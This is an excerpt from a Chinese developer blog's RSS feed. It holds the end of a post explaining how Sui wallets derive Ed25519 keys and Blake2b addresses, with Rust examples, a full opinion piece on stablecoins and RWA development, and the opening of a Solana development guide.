<ul>
<li>椭圆曲线：<code>Ed25519</code>（更安全）</li>
<li>哈希算法：<code>Blake2b256</code>（性能与安全并重）</li>
<li>密钥派生：<code>SLIP-0010</code>（专为Ed25519设计的密钥派生标准，区别于以太坊的BIP32）</li>
</ul>
<p>从技术演进角度看，Ed25519确实优于secp256k1。这种签名算法不仅速度快、数据结构紧凑，还具有更强的抗攻击能力。Polkadot、Solana等新链也都选择了它，可见其优势已被广泛认可。</p>
<blockquote>
<p>如果中本聪在2011年之后（Ed25519于2011年发布）设计比特币，或许会考虑使用这个更先进的算法。</p>
</blockquote>
<h2>🔑 Sui钱包的生成流程</h2>
<p>了解了Sui钱包的技术底座后，接下来我们一步步拆解Sui钱包是如何从助记词生成钱包地址的。每一节我都配有Rust示例代码，方便你验证和参考。</p>
<h3>第一步：助记词生成</h3>
<p>示例如下：</p>
<pre><code class="language-rust">use bip39::Mnemonic;
use rand::{rngs::OsRng, RngCore};

// 生成12词助记词（也支持15、18、21、24词）
let mut entropy = [0u8; 16]; // 128位熵用于12词助记词
OsRng.fill_bytes(&#x26;mut entropy);
let mnemonic = Mnemonic::from_entropy(&#x26;entropy)?;
println!("助记词: {}", mnemonic);

// 输出示例：
// obvious expose tuition hunt battle element maze now column entry solve pair

</code></pre>
<p>这一步和以太坊一样，都是使用 BIP39 标准生成助记词（支持 12/15/18/21/24 个词）。它是你钱包的种子，丢了就等于丢了全部资产——那句经典的话依旧适用：<code>Not your keys, not your coins</code>.</p>
<h3>第二步：种子生成与密钥派生</h3>
<p>这一步是Sui与以太坊分道扬镳的地方。</p>
<p>刚开始我想当然地以为Sui也是用HDWallet那套标准，用<code>BIP32/44</code>来派生私钥，结果把生成的助记词往Slush钱包里一导入，地址完全对不上！折腾了半天才发现，原来Sui用的是<code>SLIP-0010</code>标准，密钥派生路径为<code>m/44'/784'/0'/0'/0'</code>，并不兼容传统的HDWallet。</p>
<p>我在Sui仓库中找到了相关定义，具体可参见 <a href="https://github.com/MystenLabs/sui/blob/main/crates/sui-keys/src/key_derive.rs">sui/crates/sui-keys/src/key_derive.rs</a>，其中<code>derive_ed25519_private_key</code>函数就是使用<code>SLIP-0010</code>标准实现的。</p>
<p>示例如下：</p>
<pre><code class="language-rust">use slip10_ed25519::derive_ed25519_private_key;

// 从助记词生成种子
let seed = mnemonic.to_seed("");

// Sui使用SLIP-0010进行密钥派生
// 派生路径: m/44'/784'/0'/0'/0'
let derivation_path = [
    0x8000002C, // 44' (hardened)
    0x80000310, // 784' (hardened, Sui币种代码)
    0x80000000, // 0' (hardened, 账户索引)
    0x80000000, // 0' (hardened, 变更索引)
    0x80000000, // 0' (hardened, 地址索引)
];

let private_key_bytes = derive_ed25519_private_key(&#x26;seed, &#x26;derivation_path);

// 对比：以太坊的做法（错误示例，不要在Sui中使用）
// let private_key = &#x26;seed[0..32]; // 简单切片，不兼容官方钱包

</code></pre>
<p>SLIP-0010与BIP32最大的不同之一是：它只支持硬化派生路径，这是为了适配Ed25519的特性。</p>
<h3>第三步：公钥生成</h3>
<p>示例如下：</p>
<pre><code class="language-rust">use ed25519_dalek::SigningKey;

// 从私钥生成Ed25519签名密钥
let signing_key = SigningKey::from_bytes(&#x26;private_key_bytes);
let public_key = signing_key.verifying_key();

println!("公钥: {}", hex::encode(public_key.as_bytes()));

</code></pre>
<h3>第四步：钱包地址计算</h3>
<p>Sui的地址生成思路跟比特币、以太坊类似，都是对公钥进行哈希。但具体实现上有两个不同：</p>
<ol>
<li><strong>多了个标识字节</strong>：Sui在公钥前面加了一个算法标识字节（Ed25519用0x00）</li>
<li><strong>换了哈希算法</strong>：用Blake2b256替代了以太坊的Keccak256，然后取前32字节作为地址</li>
</ol>
<p>示例如下：</p>
<pre><code class="language-rust">use blake2::{Blake2b256, Digest};

// Sui地址生成算法
let scheme_byte = 0x00u8;  // Ed25519算法标识字节
let input = [&#x26;[scheme_byte], public_key.as_bytes()].concat();
let hash = Blake2b256::digest(&#x26;input);
let address = &#x26;hash[0..32];  // 取前32字节

let address_hex = format!("0x{}", hex::encode(address));
println!("Sui钱包地址: {}", address_hex);

</code></pre>
<p>这个“标识字节”的设计很巧妙，它不仅用于区分签名算法（比如Ed25519、Secp256r1或BLS），也为未来引入多种签名机制预留了空间。</p>
<p>更重要的是，它还为支持多签等更复杂的签名结构打下了基础。比如在Sui中，多签被封装成一种特定的签名方案（例如 0x03表示多签）。当验证器读取到这个标识字节时，就能自动识别签名类型，并调用对应的校验逻辑，从而无需依赖智能合约，就能原生支持多签交易。</p>
<h2>🚨 我踩的两个坑</h2>
<h3>坑1：直接切seed派生私钥</h3>
<pre><code class="language-rust">// ❌ 错误做法：直接切片种子
let wrong_private_key = &#x26;seed[0..32];

// ✅ 正确做法：使用SLIP-0010
let correct_private_key = derive_ed25519_private_key(&#x26;seed, &#x26;derivation_path);

</code></pre>
<p>我当时就是直接切片种子，结果生成的助记词导入Suiet钱包后，地址完全不一样！自然就用不了。</p>
<h3>坑2：用错了依赖库</h3>
<pre><code class="language-toml"># ❌ 错误：使用BIP32（以太坊标准）
bip32 = "0.4"

# ✅ 正确：使用SLIP-0010（Sui标准）
slip10_ed25519 = "0.1"

</code></pre>
<p>虽然助记词格式看起来一样，但Sui背后的密钥派生逻辑与以太坊完全不同，用错库很容易导致地址不一致、交易失败。</p>
<h2>🔬 技术深度解析</h2>
<h3>为什么Sui选择Ed25519？</h3>
<ul>
<li>✅ 更快：签名速度是secp256k1的2～3倍</li>
<li>✅ 更紧凑：公钥32字节，签名64字节，数据结构轻量</li>
<li>✅ 更安全：具备抗侧信道攻击、确定性签名等特性</li>
<li>✅ 更未来：对抗量子攻击的潜力更大</li>
</ul>
<h3>为什么用Blake2b而不是Keccak？</h3>
<p>相比以太坊使用的Keccak256，Sui选择了Blake2b256，兼顾了安全性与性能，更适合高频交易与现代加密场景。</p>
<pre><code class="language-rust">// 以太坊方式（如果用在Sui上）
let eth_hash = keccak256(&#x26;public_key_bytes);
let eth_address = &#x26;eth_hash[12..]; // 取后20字节

// Sui方式
let sui_input = [&#x26;[0x00], &#x26;public_key_bytes].concat();
let sui_hash = blake2b256(&#x26;sui_input);
let sui_address = &#x26;sui_hash[0..32]; // 取前32字节

</code></pre>
<p>相比之下：</p>
<ul>
<li>以太坊：Keccak256哈希后取后<code>20</code>字节</li>
<li>Sui：Blake2b256哈希后取前<code>32</code>字节，并加入签名算法标识</li>
</ul>
<p>这样设计虽然让Sui钱包地址更长，但安全性更高，结构也更灵活。</p>
<h2>🛠️ 完整的Rust实现示例</h2>
<p>基于这些技术原理，我们来看完整的Rust实现：</p>
<pre><code class="language-rust">use anyhow::Result;
use bip39::Mnemonic;
use blake2::{Blake2b, digest::{consts::U32, Digest}};
use ed25519_dalek::SigningKey;
use slip10_ed25519::derive_ed25519_private_key;
use rand::{rngs::OsRng, RngCore};

pub struct SuiWallet {
    pub address: String,
    pub public_key: String,
    pub private_key: String,
    pub mnemonic: String,
}

impl SuiWallet {
    pub fn generate() -> Result&#x3C;Self> {
        // 生成助记词
        let mut entropy = [0u8; 16]; // 128位熵用于12词助记词
        OsRng.fill_bytes(&#x26;mut entropy);
        let mnemonic = Mnemonic::from_entropy(&#x26;entropy)?;
        let seed = mnemonic.to_seed("");

        // 密钥派生（Sui官方标准）
        // 派生路径: m/44'/784'/0'/0'/0'
        let derivation_path = [
            0x8000002C, // 44' (hardened)
            0x80000310, // 784' (hardened, Sui币种代码)
            0x80000000, // 0' (hardened, 账户索引)
            0x80000000, // 0' (hardened, 变更索引)
            0x80000000, // 0' (hardened, 地址索引)
        ];

        let private_key_bytes = derive_ed25519_private_key(&#x26;seed, &#x26;derivation_path);

        // 生成公钥
        let signing_key = SigningKey::from_bytes(&#x26;private_key_bytes);
        let public_key = signing_key.verifying_key();

        // 计算地址 - 关键修复：使用正确的Blake2b实现
        let scheme_byte = 0x00u8; // Ed25519标识
        let mut hasher = Blake2b::&#x3C;U32>::default();
        Digest::update(&#x26;mut hasher, &#x26;[scheme_byte]);
        Digest::update(&#x26;mut hasher, public_key.as_bytes());
        let result = hasher.finalize();
        let address = format!("0x{}", hex::encode(result));

        Ok(SuiWallet {
            address,
            public_key: hex::encode(public_key.as_bytes()),
            private_key: hex::encode(&#x26;private_key_bytes),
            mnemonic: mnemonic.to_string(),
        })
    }
}

// 使用示例
fn main() -> Result&#x3C;()> {
    let wallet = SuiWallet::generate()?;

    println!("新的Sui钱包已生成！");
    println!("地址: {}", wallet.address);
    println!("公钥: {}", wallet.public_key);
    println!("私钥: {}", wallet.private_key);
    println!("助记词: {}", wallet.mnemonic);
    println!("请安全保管助记词！");

    Ok(())
}

</code></pre>
<blockquote>
<p>完整示例代码，我打包放在我的知识星球中，有需要可自取。</p>
</blockquote>
<h2>🔧 开发环境建议</h2>
<h3>Cargo.toml依赖示例</h3>
<pre><code class="language-toml">[dependencies]
# 助记词生成
bip39 = "2.0"

# Sui官方密钥派生标准
slip10_ed25519 = "0.1"

# Ed25519椭圆曲线密码学
ed25519-dalek = "2.0"

# Blake2b哈希算法
blake2 = "0.10"

# 十六进制编码工具
hex = "0.4"

# 错误处理
anyhow = "1.0"

# 安全内存清零
zeroize = "1.7"

# 安全随机数生成
rand = "0.8"

</code></pre>
<h3>开发工具配置</h3>
<pre><code class="language-toml">[dev-dependencies]
# 测试框架
tokio-test = "0.4"

# 基准测试
criterion = "0.5"

# 属性测试
proptest = "1.0"

</code></pre>
<h3>构建优化建议</h3>
<pre><code class="language-toml">[profile.release]
# 启用链接时优化
lto = true

# 代码生成单元优化
codegen-units = 1

# 性能优先
opt-level = 3

# 去除panic信息（生产环境）
panic = "abort"

</code></pre>
<p>配置好开发环境后，我们再看看钱包开发的安全实践。</p>
<h2>💡 安全开发实践</h2>
<h3>1. 及时清理内存</h3>
<p>私钥用完不清理，可能就一直留在内存里，有被窃听的风险。最好养成随用随清的习惯。</p>
<pre><code class="language-rust">use zeroize::Zeroize;

// 及时清理敏感数据
let mut private_key_bytes = derive_ed25519_private_key(&#x26;seed, &#x26;path)?;
// ... 使用私钥 ...
private_key_bytes.zeroize(); // 清零内存

</code></pre>
<h3>2. 使用安全随机数源</h3>
<p>私钥的随机数最好交给操作系统来生成，别用那些不安全的随机源，不然真有可能被暴力破解。</p>
<pre><code class="language-rust">use rand::rngs::OsRng;

// 使用操作系统提供的安全随机数生成器
let mnemonic = Mnemonic::generate_in_with(&#x26;mut OsRng, 12)?;

</code></pre>
<h3>3. 文件权限控制</h3>
<p>通过设置<code>600</code>权限，确保生成的钱包文件仅当前用户可读写，防止私钥被其他用户访问。</p>
<pre><code class="language-rust">use std::fs::OpenOptions;
use std::os::unix::fs::OpenOptionsExt;

// 创建仅所有者可访问的文件
let file = OpenOptions::new()
    .create(true)
    .write(true)
    .mode(0o600) // 仅所有者可读写
    .open("wallet.json")?;

</code></pre>
<h2>📊 性能理论分析</h2>
<p><strong>密钥生成对比：</strong></p>
<ul>
<li>Ed25519：约<code>50,000-80,000</code>CPU cycles</li>
<li>secp256k1：约<code>200,000-300,000</code>CPU cycles</li>
<li><strong>理论优势</strong>：Ed25519快<code>3-4</code>倍</li>
</ul>
<p><strong>哈希算法对比：</strong></p>
<ul>
<li>Blake2b：约<code>3.2 GB/s</code>吞吐量</li>
<li>Keccak256：约<code>1.6 GB/s</code>吞吐量</li>
<li><strong>理论优势</strong>：Blake2b快约<code>2</code>倍</li>
</ul>
<p><strong>实际影响因素：</strong></p>
<ul>
<li>SLIP-0010密钥派生增加计算开销</li>
<li>64位地址 vs 40位地址的哈希差异</li>
<li>不同编译优化对性能的影响</li>
</ul>
<blockquote>
<p>以上数据来自公开的密码学基准测试，实际性能因硬件和实现而异。</p>
</blockquote>
<p><strong>但是</strong>，Sui地址生成整体上可能稍慢一些，主要原因：</p>
<ol>
<li><strong>密钥派生开销</strong>：SLIP-0010比简单切片增加了计算量</li>
<li><strong>地址长度差异</strong>：64位地址比40位地址需要更多哈希计算</li>
<li><strong>额外处理</strong>：标识字节拼接等操作</li>
</ol>
<p><strong>实际影响如何？</strong></p>
<p>对于日常使用（创建钱包、发送交易），这点性能差异完全可以忽略。但如果你像我一样在做靓号钱包生成器，需要大量创建地址，那Ed25519的优势就会逐渐显现出来。</p>
<p>当然，考虑到安全性和未来扩展性的提升，这点性能代价是完全值得的。从性能看未来，Sui钱包有哪些趋势？</p>
<h2>🔮 说说未来</h2>
<p>从技术角度看，Sui这套钱包架构确实代表了一个新方向：</p>
<ol>
<li><strong>安全性更强</strong>：Ed25519抗量子攻击这点就挺厉害的</li>
<li><strong>性能更好</strong>：验证速度快，特别适合高频交易应用</li>
<li><strong>架构更清晰</strong>：那个标识字节的设计给多签名预留了空间，想得挺周到</li>
<li><strong>标准化趋势</strong>：估计SLIP-0010以后会成为Ed25519的标配</li>
</ol>
<p>我觉得，<code>Ed25519 + SLIP-0010</code>这个组合，很可能会成为新公链钱包的标配。</p>
<h2>📝 写在最后</h2>
<p>从<code>secp256k1</code>到<code>Ed25519</code>，从<code>Keccak</code>到<code>Blake2b</code>，每一个技术选择的背后，都是对安全性、性能与可扩展性的极致追求。</p>
<p>对我们开发者来说，知道怎么用，是第一步；理解为何如此设计，才是真正走进系统底层的开始。</p>
<p>如果你正在基于Sui链开发钱包、做签名方案，或者也对密码学结构充满好奇，欢迎一起交流、学习。</p>
]]></content:encoded>
      <category>公链实战</category>
      <pubDate>Sun, 27 Jul 2025 02:22:11 GMT</pubDate>
    </item>
    <item>
      <title>稳定币大战：一个Web3开发者的观察与思考</title>
      <link>https://yangxinmin.com/stablecoin-wars-observations</link>
      <guid isPermaLink="true">https://yangxinmin.com/stablecoin-wars-observations</guid>
      <description>说在前面 最近我的APP、微信公众号老给我推稳定币的文章，这让我琢磨：这是要搞什么大事情？我整理了几个印象深刻的事件： 1. 美国GENIUS法案正在国会推进（截至2025年7月1日，参议院已通过，众议院审议中）； 2. 第二大美元稳定币USDC发行商Circle在纽交所成功上市，两天涨4倍，而Co</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>最近我的APP、微信公众号老给我推稳定币的文章，这让我琢磨：这是要搞什么大事情？我整理了几个印象深刻的事件：</p>
<ol>
<li>美国<strong>GENIUS法案</strong>正在国会推进（截至2025年7月1日，参议院已通过，众议院审议中）；</li>
<li>第二大美元稳定币USDC发行商Circle在纽交所成功上市，两天涨<code>4</code>倍，而Coinbase通过合作协议分走了约50%的利润（<code>9</code>个美元小目标）；</li>
<li>第一大离岸美元稳定币USDT发行商Tether，面临合规问题，但也在与美国监管机构合作推进合规进程，而这可能利好Circle追赶；</li>
<li>Trump家族项目WLFI发行了美元稳定币<strong>USD1</strong>，币安眼羡Coinbase吃到的蛋糕——已迫不及待地抱上了大腿——作为其交易渠道；</li>
<li>传统互联网支付商Stripe、PayPal，正在筹备发行自己的稳定币；</li>
<li>香港正在推进稳定币法案，国内京东与阿里先后在香港申请发行稳定币牌照，锚定港币或其他法币。</li>
</ol>
<hr>
<p>这是妥妥的稳定币大战啊！</p>
<p>Trump说过："<strong>让Web3发生在美国</strong>"，这不就来了吗？</p>
<p>本质上，这是新的<strong>数字美元霸权</strong>在全球重新布局。传统美元霸权靠SWIFT和美联储控制全球资金流动，而稳定币开辟了全新路径——绕过传统银行，直接深入到全球每个数字钱包中。</p>
<p>美国通过GENIUS法案抢占合规制高点，各大科技公司争相入局，本质上都在争夺数字美元的基础设施控制权。其他国家虽然试图通过本币稳定币来"对冲"，但在全球接受度上仍难撼动美元地位。</p>
<p>这场战争的胜负，将决定未来十年全球数字经济的货币主权归属。</p>
<hr>
<p>从币圈韭王爷，再到Web3开发者，我关心以下3个问题：</p>
<ol>
<li><strong>炒B出入金问题</strong>：稳定币合规后，我们能安心出入金了吗？</li>
<li><strong>技术储备</strong>：作为开发者该准备什么技能？稳定币对RWA赛道有什么影响？</li>
<li><strong>未来趋势</strong>：稳定币会如何改变支付格局？对我们普通人有什么影响？</li>
</ol>
<p>这篇文章就带着这3个问题出发，从稳定币的概念入手，与你分享一下我的学习收获。</p>
<blockquote>
<p>免责声明一下，本文仅作为学习参考，个人看法，DYOR。</p>
</blockquote>
<h2>先来说说稳定币是什么？</h2>
<p>对于混币圈的朋友，这个解释可能有点多余了。</p>
<p>稳定币说白了就是"<strong>数字版的美元汇票</strong>"。如果你用过支付宝或微信支付，就能理解稳定币的核心价值——它让数字世界有了一个稳定的价值基准。</p>
<p>具体来说，<strong>稳定币是一种与美元、黄金或其他法币1:1兑换的加密货币</strong>。它最大的特点就是<strong>价格稳定</strong>，不像比特币那样今天10万美元、明天6万美元的过山车式波动。你可以把它理解为区块链世界的"锚定货币"，专门用来解决加密货币价格波动太大的问题。</p>
<p>想象一下，如果你要给美国的朋友转100美元，传统银行可能需要<code>2-3</code>天到账，还要收取高额手续费。但如果用USDC（美元稳定币），几分钟就能到账，手续费只要几美分，这就是稳定币的魅力所在。</p>
<p>目前全球稳定币市值约2500亿美元（截至2025年6月，<a href="https://www.binance.com/zh-CN/square/post/06-08-2025-2503-04-usdt-62-09-25335817824650">见DeFiLlama数据</a>），主要玩家有两个：</p>
<ul>
<li><strong>USDT（Tether）</strong>：老大哥，市场份额62.48%，发行量约1581.64亿美元，但合规性受到质疑</li>
<li><strong>USDC（Circle）</strong>：合规派代表，市场份额24.2%，发行量约613.92亿美元，严格受美国监管</li>
</ul>
<p>明确了稳定币的本质后，我们来看它如何在金融领域发挥作用。</p>
<h2>稳定币在金融领域有什么作用？</h2>
<p>作为技术人，我更习惯从成本、安全、速度这三个角度来看问题。</p>
<h3>成本维度：降维打击传统支付</h3>
<p>传统的跨境汇款简直是"抢钱"。有个做外贸的朋友跟我抱怨，给海外客户收款时，银行要收取汇款金额的<code>1-3%</code>作为手续费，中间行还可能再扣一笔。而使用稳定币，整个转账成本可能只有几美分到几美元，这对于频繁进行跨境交易的企业来说，成本优势非常明显。</p>
<p>更关键的是，<strong>稳定币绕过了传统银行的SWIFT系统</strong>。SWIFT就像是银行间的老式"邮局"，每一笔跨境转账都要在这个"邮局"里转好几手，每转一手就要收一次费。稳定币直接在区块链上点对点转账，就像从"寄信"升级到了"<strong>发微信红包</strong>"。</p>
<p>金融讲究效率，支付更是一个高频应用场景。在这个维度上，Solana展现出了独特的优势。USDC在Solana上的部署（截至2025年，约80多亿美元）不是偶然的——Solana的高TPS和低手续费特性，让稳定币支付的体验接近传统支付。</p>
<p>想象一下，每秒处理数万笔交易，手续费不到<code>1</code>美分，这种效率优势在高频支付场景中将是决定性的。</p>
<h3>安全维度：透明胜过黑盒</h3>
<p>区块链的公开透明特性让稳定币的每一笔交易都可追踪、可验证。以USDC为例，Circle每个月都会发布储备金审计报告，你可以清楚地知道每一枚USDC背后都有对应的美元储备。</p>
<p>对比传统银行的"黑盒操作"，<strong>你永远不知道银行拿你的钱去做了什么投资</strong>。而合规的稳定币发行商必须将储备金投资于短期国债和隔夜回购等低风险资产，这种透明度传统银行是做不到的。</p>
<h3>实时性维度：7×24小时不打烊</h3>
<p>这是我觉得<strong>最牛的特点</strong>。传统银行转账受制于工作时间、节假日、时区差异。</p>
<p>举一个典型场景：跨境电商卖家经常遇到时差问题，比如周五晚上急需处理美国那边的付款，结果银行告诉你"等下周一吧"。那种心情，做过外贸的应该都懂。</p>
<p>而稳定币呢？基于区块链网络，真正的<code>7×24</code>小时不打烊。Circle提出的"<strong>数字美元</strong>"概念就是这个意思——让美元在数字世界里24小时自由流动，<strong>不再受空间与时间的限制</strong>。</p>
<h2>稳定币合规后，我们能安心出入金了吗？</h2>
<p>说完稳定币的好处，现在来聊最关键的问题：作为一个"韭王爷"，我最关心的就是能不能合规出入金。毕竟动不动就冻卡半年，谁受得了？</p>
<p>好消息是：答案是肯定的！<strong>香港正在给我们开路</strong>。</p>
<h3>香港的先行先试</h3>
<p>香港正在推进《稳定币发行人监管框架》，计划在2025年8月1日前启动牌照申请流程，这就是在为稳定币和银行系统对接铺路。你看京东、阿里都跑去香港申请稳定币牌照了，传统互联网巨头嗅觉还是很敏锐的。</p>
<p>更爽的是，香港的框架<strong>允许合规的稳定币发行商直接和银行建立兑换通道</strong>。想象一下，以后可能直接在汇丰银行APP里买卖USDC，就像兑换美元一样简单！</p>
<h3>美国GENIUS法案加速推进</h3>
<p>虽然这个法案还在走流程，但思路已经很清楚了：给合规稳定币一个明确的身份，让银行可以名正言顺地做这个生意——<strong>参与稳定币发行、托管，以及通过购买国债等方式管理储备金获得收益</strong>。</p>
<p>一旦通过，摩根大通、富国银行这些美国银行巨头都会入场。到那时候，合规出入金还叫事儿吗？</p>
<h3>技术实现其实不难</h3>
<p>说实话，银行接入稳定币的技术门槛真不高。我的理解是，<strong>合规稳定币 = 中心化ERC-20</strong>，即标准ERC-20协议+KYC验证+黑名单控制功能（看看USDC/USDT的合约代码就知道了），银行只需要：</p>
<ol>
<li>集成Web3钱包功能</li>
<li>对接智能合约，接入实时价格数据</li>
<li>与稳定币发行方建立清算关系</li>
</ol>
<p>技术都是现成的，主要是政策还在观望阶段。一旦政策明朗，这就是水到渠成的事儿。</p>
<h2>作为开发者该准备什么技能？稳定币对RWA赛道有什么影响？</h2>
<p>我觉得稳定币越来越合规，不仅会让传统支付行业大洗牌，更关键的是，它给<code>RWA</code>（现实世界资产数字化）打开了一扇大门。</p>
<p><strong>稳定币为RWA提供了稳定的价值基准和结算工具</strong>——传统资产如房地产、艺术品、债券在链上化后，需要一个稳定的计价单位进行交易和结算，稳定币正好填补了这个空白。同时，稳定币的合规进程也为RWA的政策合规提供了参考模板。</p>
<p>最近我参与了一个香港朋友的<code>RWA</code>项目（2025年6月），主要做传统拍卖品的数字化。有意思的是，这个项目正计划使用在香港发行的稳定币作为结算工具，这让我切身感受到了稳定币与RWA结合的实际价值——让一件古董艺术品可以被全球投资者共同持有和交易。</p>
<p>通过这个项目，我意识到<code>RWA</code>开发的真正挑战不是技术本身，而是如何在区块链的透明性和传统行业的合规性之间找到平衡点。</p>
<p><strong>那作为Web3开发者，具体该怎么准备呢？</strong></p>
<p>基于稳定币和RWA的发展趋势，我总结了几个值得重点关注的技术生态，供你参考。</p>
<h3>核心技术栈</h3>
<p><strong>智能合约开发</strong>是基础中的基础，不同链有不同的技术要求：</p>
<ul>
<li><strong>以太坊生态</strong>：Solidity语言 + ERC标准（ERC-20、ERC-3525、ERC-721/1155）</li>
<li><strong>Solana生态</strong>：Rust语言 + SPL Token标准 + Anchor框架</li>
<li><strong>Sui生态</strong>：Move语言 + Sui Object模型</li>
<li><strong>升级机制</strong>：代理合约模式（以太坊）、程序升级（Solana）、包升级（Sui）</li>
</ul>
<p><strong>多链部署策略</strong>已成为稳定币的标配，重点关注三大生态：</p>
<p><strong>以太坊：DeFi生态之王</strong></p>
<ul>
<li>最成熟完整的DeFi生态系统</li>
<li>USDC/USDT的主要发行链</li>
<li>丰富的扩容方案：Layer2（Arbitrum、Optimism、Base）+ 侧链（Polygon、BSC）</li>
<li>缺点：主网Gas费较高，但Layer2已很好解决成本问题</li>
</ul>
<p><strong>Solana：高性能支付首选</strong></p>
<ul>
<li>USDC部署量已超80亿美元，Circle官方重点支持</li>
<li>实际TPS 2000+，交易处理能力远超以太坊</li>
<li>手续费极低（&#x3C;<code>0.01</code>美元），适合高频支付场景</li>
<li>原生支持并发处理，用户体验接近传统支付系统</li>
</ul>
<p><strong>Sui：新兴高性能链</strong></p>
<ul>
<li>Move语言带来的安全性优势</li>
<li>并行执行架构，理论性能超越Solana</li>
<li>Circle已宣布将原生支持USDC</li>
<li>适合构建复杂的RWA金融产品</li>
</ul>
<p><strong>跨链基础设施</strong>：</p>
<ul>
<li><strong>官方桥接</strong>：以太坊L2官方桥、Solana Wormhole桥等</li>
<li><strong>第三方聚合器</strong>：如Across、Hop Protocol等</li>
<li><strong>多链钱包集成</strong>：支持MetaMask、Phantom等主流钱包</li>
</ul>
<h3>必知的DeFi产品</h3>
<p>掌握核心技术栈后，你还需要理解关键的DeFi生态产品：</p>
<p><strong>以太坊DeFi生态</strong>：</p>
<ul>
<li><strong>MakerDAO</strong>：去中心化稳定币DAI的发行商，超额抵押机制的经典实现</li>
<li><strong>Aave</strong>：多链部署的借贷协议，支持将RWA资产作为抵押品</li>
<li><strong>Uniswap</strong>：AMM机制的创造者，为RWA代币提供流动性支持</li>
</ul>
<p><strong>Solana DeFi生态</strong>：</p>
<ul>
<li><strong>Jupiter</strong>：Solana上的聚合交易协议</li>
<li><strong>Raydium</strong>：Solana上的主要AMM DEX</li>
</ul>
<p><strong>跨链协作模式</strong>：
资产代币化（<code>ERC-3525/1155/721</code>） → 跨链桥接（<code>LayerZero/Wormhole/Across</code>） → 多链部署（<code>以太坊/Solana/Sui</code>） → 流动性提供（<code>Uniswap V3 + Jupiter + Raydium</code>） → 稳定币结算（<code>USDC</code>全链支持）</p>
<h3>金融基础设施</h3>
<p><strong>预言机集成</strong>对于RWA项目至关重要（以<code>ChainLink</code>为代表）：</p>
<pre><code class="language-solidity">// 简单的RWA资产估值示例
interface IPriceFeed {
    function getLatestPrice(uint256 itemId) external view returns (int);
}

contract RWAManager {
    IPriceFeed public priceFeed;

    // 更新RWA资产估值，依赖Chainlink等预言机提供实时价格
    function updateAssetValuation(uint256 assetId) public {
        int currentPrice = priceFeed.getLatestPrice(assetId); // 获取链上资产价格
        _updateBasePrice(assetId, currentPrice); // 更新估值
    }
}

</code></pre>
<p><strong>合规工具集成</strong>也是必备技能：</p>
<ul>
<li>KYC/AML集成：与合规服务商的API对接</li>
<li>监管报告：自动生成交易报告和审计日志</li>
<li>地址风控：实现黑名单地址检查和风险评估</li>
</ul>
<h3>前端交互优化</h3>
<p>用户体验是RWA项目成功的关键：</p>
<ul>
<li><strong>Viem.js/Ethers.js</strong>：与区块链的交互</li>
<li><strong>钱包连接</strong>：支持MetaMask、WalletConnect等多种钱包</li>
<li><strong>交易状态管理</strong>：优雅地处理pending、确认、失败等状态</li>
</ul>
<p>掌握这些技术后，我们再看看稳定币将如何重塑支付格局。</p>
<blockquote>
<p>如果你正在考虑转型区块链开发，我最近在整理相关的学习资源和项目实战经验。感兴趣的话可以私信交流，一起探讨技术细节。</p>
</blockquote>
<h2>稳定币会如何改变支付格局？对我们普通人有什么影响？</h2>
<p>这个问题最有意思，因为它关系到稳定币是否真的能够改变我们的日常生活。</p>
<h3>B2B场景：率先爆发的战场</h3>
<p>我认为<strong>稳定币最先会在B2B支付场景中大规模应用</strong>。原因很简单：企业更关注效率和成本，而不是技术细节。</p>
<p>想象一下这个场景：一家深圳的制造企业需要给美国的供应商支付100万美元货款。传统方式需要2-3天到账，银行手续费可能高达数万元。而使用USDC，几分钟就能到账，手续费可能只要几十美元。</p>
<p><strong>传统金融机构也在积极布局</strong>：</p>
<ul>
<li><strong>Meta（Facebook）</strong> 已经在与USDC洽谈合作，计划在Instagram上试点小额跨境打赏</li>
<li><strong>Ripple</strong> 通过RLUSD稳定币优化跨境支付</li>
<li><strong>SWIFT</strong> 也在测试与区块链网络的集成</li>
</ul>
<p>这说明，有强大B端资源的银行和支付机构优势非常明显，他们能够"无缝地"将稳定币嵌入现有金融体系。</p>
<h3>C端普及：等待技术成熟的那一天</h3>
<p>C端用户大规模使用稳定币支付，我认为还需要等待<code>AI Agent</code>、语音助手等技术高度发达，实现真正的"<strong>无感支付</strong>"。</p>
<p>就像微信支付和支付宝的成功一样，用户不需要理解二维码的技术原理，只需要知道它快捷、便宜。未来的稳定币支付也会是这样，用户只需要对着手机说"给张三转100块钱"，AI助手自动选择最优的支付路径，可能是稳定币，也可能是传统支付，用户完全无感知。</p>
<h3>对普通人的影响</h3>
<p><strong>降低金融服务门槛</strong>：稳定币让普通人也能享受到类似银行的金融服务，而不需要复杂的开户流程和高额的门槛费用。</p>
<p><strong>提升支付效率</strong>：特别是在跨境支付、小额高频支付等场景中，稳定币的优势会逐渐显现。</p>
<p><strong>增强金融透明度</strong>：区块链的公开透明特性让每笔交易都能追踪，这能让整个金融系统更透明、更可信。</p>
<p>当然，稳定币市场的竞争格局还在变化中，受政策、市场牛熊、信任度、技术生态等多种因素影响。USDT依靠早期的灵活性和激进投资策略获得了巨大的市场份额，而USDC则凭借与Coinbase的深度绑定和合规路线逐步追赶。</p>
<p>未来谁能胜出还很难说，但有一点是确定的：稳定币正在成为连接传统金融与加密世界的重要桥梁，而作为Web3开发者的我们，正处在这个历史性变革的前沿。</p>
<h2>写在最后</h2>
<p>稳定币大战已经打响，华尔街、硅谷科技公司与加密世界的交锋越来越激烈。作为Web3开发者，我们既是见证者，也是参与者。</p>
<p>技术储备当然重要，但更重要的是理解这场变革背后的商业逻辑。稳定币不只是技术创新，更是整个金融基础设施的重构。谁能更好地平衡技术、合规和用户体验，谁就能在这场大战中胜出。</p>
<p>这波稳定币浪潮才刚开始，对我们Web3开发者来说机会很多。关键是要跟上技术趋势，提前做好准备，说不定下一个<code>10</code>倍机会就在眼前。</p>
]]></content:encoded>
      <category>行业观察</category>
      <pubDate>Thu, 03 Jul 2025 04:08:36 GMT</pubDate>
    </item>
    <item>
      <title>Solana vs Ethereum：30分钟跑步入场Solana开发指南</title>
      <link>https://yangxinmin.com/solana-vs-ethereum-dev-guide</link>
      <guid isPermaLink="true">https://yangxinmin.com/solana-vs-ethereum-dev-guide</guid>
      <description>说在前面 作为一名在以太坊生态摸爬滚打多年的开发者，我最近刚完成了第一个Solana项目——一个类似pump.fun的meme发B平台的合约开发。 说实话，刚开始接触Solana时，我内心是拒绝的——又要学新语言，又要适应新的开发范式，感觉像是要重新学编程一样。 但当我看到同样的代币发行功能，在So</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
